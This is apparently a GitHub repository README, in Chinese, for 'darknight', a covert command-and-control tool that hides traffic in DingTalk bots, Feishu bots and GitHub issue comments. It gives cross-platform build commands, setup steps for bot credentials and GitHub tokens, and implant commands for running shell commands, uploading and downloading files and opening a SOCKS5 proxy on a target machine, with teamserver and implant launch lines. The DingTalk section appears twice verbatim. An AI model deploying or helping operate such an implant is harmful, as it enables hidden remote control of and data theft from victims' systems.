Skip to content

Sakura-501/darknight

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

darknight

A C2 communication tool hidden in the darknight

整体架构图

image-20241023030236645

逻辑流程图

github

基本功能流程

image-20241023030332142

socks5流程

image-20241023030355562

飞书

image-20241023030416902

钉钉

image-20241023030426815

构建

# 下载依赖
go mod download
# 构建本地环境架构的二进制文件
go build
# 构建不同架构平台的二进制文件
GOOS=windows GOARCH=amd64 go build -o darknight_windows_amd64.exe
GOOS=linux GOARCH=amd64 go build -o darknight_linux_amd64
GOOS=darwin GOARCH=arm64 go build -o darknight_macos_arm64

钉钉

bot 配置

启动 implant 注入端我们需要四个参数值:implant <client_id> <client_secret> <robot_code> <user_id>

打开开发者后台:https://open-dev.dingtalk.com/fe/app

选择钉钉应用,创建企业内部应用:

image-20241022010342300

image-20241022010404238

创建完成已进入应用,就可以看到我们需要的两个参数值**<client_id>和<client_secret>**:

image-20241022011102696

添加应用能力添加机器人,然后配置成 stream 模式即可,同时,这里有我们需要的**<robot_code>**:

image-20241022010808210

image-20241022010925651

来到权限管理页面,开启以下权限:

image-20241022013344313

image-20241022013400293

然后需要发布版本才能进行使用:

image-20241022013451054

最后我们打开钉钉客户端,有两种方式使用该C2进行通信,一种是直接与bot私聊,另一种是在群组添加该bot,然后直接@bot名字即可使用;

下面是将bot加入企业默认群组的流程:

image-20241022013832736

image-20241022013901381

image-20241022013940429

image-20241022013955818

命令大全

  • help : show this help menu
  • pwd : print working directory
  • whoami : get username
  • cmd : execute command
  • <upload(No Command)> : send the file directly to the bot, and the file will be downloaded to the current working directory
  • download <remote_file_name> : download remote_file of dingding-implant to the folder of dingding knowledge base
  • exit : kill the connection with the dingding-implant

使用示例

直接 go build 就能食用 implant 注入端;

启动需要四个参数:implant <client_id> <client_secret> <robot_code> <user_id>

四个参数如何配置请参考前面的配置教程;

implant 端启动后,选择有 bot 的群组@bot,或者与 bot 私聊都能触发c2通信;(其中,除了上传文件只能私聊 bot触发,其他均可以通过群组@bot 或者私聊进行触发)

image-20241022000004100

cmd执行命令:

image-20241022000148630

上传文件(只能私聊 bot上传):

image-20241022000316359

download下载文件到钉钉知识库(需要提前创建一个c2 文件夹,绝对路径和相对路径都可以),例如下载刚才上传的 agent:

image-20241022000654712

image-20241022000438926

exit退出:

image-20241022000741879

image-20241022000821898

构建

# 下载依赖
go mod tidy
# 构建本地环境架构的二进制文件
go build
# 构建不同架构平台的二进制文件
GOOS=windows GOARCH=amd64 go build -o darknight_windows_amd64.exe
GOOS=linux GOARCH=amd64 go build -o darknight_linux_amd64
GOOS=darwin GOARCH=arm64 go build -o darknight_macos_arm64

钉钉

bot 配置

启动 implant 注入端我们需要四个参数值:implant <client_id> <client_secret> <robot_code> <user_id>

打开开发者后台:https://open-dev.dingtalk.com/fe/app

选择钉钉应用,创建企业内部应用:

image-20241022010342300

image-20241022010404238

创建完成已进入应用,就可以看到我们需要的两个参数值**<client_id>和<client_secret>**:

image-20241022011102696

添加应用能力添加机器人,然后配置成 stream 模式即可,同时,这里有我们需要的**<robot_code>**:

image-20241022010808210

image-20241022010925651

来到权限管理页面,开启以下权限:

image-20241022013344313

image-20241022013400293

然后需要发布版本才能进行使用:

image-20241022013451054

最后我们打开钉钉客户端,有两种方式使用该C2进行通信,一种是直接与bot私聊,另一种是在群组添加该bot,然后直接@bot名字即可使用;

下面是将bot加入企业默认群组的流程:

image-20241022013832736

image-20241022013901381

image-20241022013940429

image-20241022013955818

命令大全

  • help : show this help menu
  • pwd : print working directory
  • whoami : get username
  • cmd : execute command
  • <upload(No Command)> : send the file directly to the bot, and the file will be downloaded to the current working directory
  • download <remote_file_name> : download remote_file of dingding-implant to the folder of dingding knowledge base
  • exit : kill the connection with the dingding-implant

使用示例

直接 go build 就能食用 implant 注入端;

启动需要四个参数:implant <client_id> <client_secret> <robot_code> <user_id>

四个参数如何配置请参考前面的配置教程;

implant 端启动后,选择有 bot 的群组@bot,或者与 bot 私聊都能触发c2通信;(其中,除了上传文件只能私聊 bot触发,其他均可以通过群组@bot 或者私聊进行触发)

image-20241022000004100

cmd执行命令:

image-20241022000148630

上传文件(只能私聊 bot上传):

image-20241022000316359

download下载文件到钉钉知识库(需要提前创建一个c2 文件夹,绝对路径和相对路径都可以),例如下载刚才上传的 agent:

image-20241022000654712

image-20241022000438926

exit退出:

image-20241022000741879

image-20241022000821898

飞书

bot 配置

打开开发者后台:https://open.feishu.cn/app/

选择创建企业自建应用:

image-20241022004725900

点进 bot,就可以看到我们需要的**<app_id>和<app_secret>**了:

image-20241022001315087

添加一个机器人:

image-20241022004705290

在权限管理开启以下权限:

image-20241022005014805

配置完成后,需要发布版本才能够使用:

image-20241022005117449

最后打开飞书客户端,创建一个群组,在群组里面加入自己创建的 bot 就可以使用了:

image-20241022005234701

命令大全

  • help : show this help menu
  • start : start the feishu-implant
  • pwd : print working directory
  • whoami : get username
  • cmd <command> : execute command
  • upload <remote_file_name> : upload local file to the feishu-implant if your previous message is file
  • download <remote_file_name> : download remote_file of feishu-implant to current local feishu
  • exit : kill the connection with the feishu-implant

使用示例

将飞书当作服务端,群组当作客户端,feishu-implant就是注入端,直接将 implant 放在靶机上面运行即可!

implant 在靶机上运行后,我们需要在飞书群组输入 start 命令启动交互!

start启动:

image-20241019014409647

cmd执行命令:

image-20241022005454306

download下载文件:

image-20241019014516163

upload上传文件(注意 upload xxxx 的上一条消息必须是一个文件,才能上传成功):

image-20241019014807458

exit 退出 implant 注入端:

image-20241022005543432

image-20241022005606126

github

github-token(classic)配置

进入设置;

image-20241017110828736

进入开发者设置;

image-20241017110935958

在token(classic)中选择generate new token;

image-20241017111054689

填写名字、生效日期、以及勾上repo的所有权限,然后创建token即可,注意token只在创建时显示一次,注意保存;

image-20241017111243628

最后的token形式大概是ghp_xxxxxxxx这样的;

命令大全

  • help:帮助手册

  • pwd:当前工作目录;

  • whoami:当前用户名;

  • cmd <command>:执行command命令;

  • upload <local_file_path> <remote_file_name>:teamserver先上传本地文件local_file_path到github,并命名为remote_file_name,然后下载该remote_file_name到implant当前的工作目录;

  • download download <implant_file_path> <remote_file_name>:implant先上传implant的本地文件local_file_path到github,并命名为remote_file_name,然后下载该remote_file_name到teamserver当前的工作目录;

  • socks5 start/stop : turn on or off a SOCKS5 service

  • exit:切断与implant的连接,终止implant进程运行;

使用示例

github相当于中间代理服务端,只需要用到其api;

teamserver是服务端/客户端,放在attacker上运行;

implant是注入端,放在靶机上面运行;

运行过程:

  • teamserver输入命令,调用github-api发送新的issue标题包含该命令;

  • implant会执行轮询获取新的issue的标题,获取到新的命令;

  • implant执行命令获取结果,加密该结果后返回给github,调用github-api向原issue的评论写入该结果;

  • teamserver轮询检测到新的评论写入,获取加密结果进行解密,输出到控制台;

# 需要在启动攻击机上启动teamserver,靶机上启动implant注入端
teamserver <AccessToken> <Username> <Repository>
implant <AccessToken> <Username> <Repository>
# 示例如下:
./teamserver ghp_xxxxxxxxx Sakura-501 github-c2-test
./implant ghp_xxxxxxxxx Sakura-501 github-c2-test

启动效果如下;

teamserver端启动:

image-20241022114332536

implant端启动:

image-20241022124056895

cmd执行命令:

image-20241022124349922

upload <local_file_path> <remote_file_name>上传文件:

image-20241022125316764

download <implant_file_path> <remote_file_name>下载文件:

image-20241022125708833

socks5 start启动:

image-20241022114607742

socks5协议使用:

image-20241022114544408

exit退出:

image-20241022125848170

image-20241022125901957

About

hidden C2

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages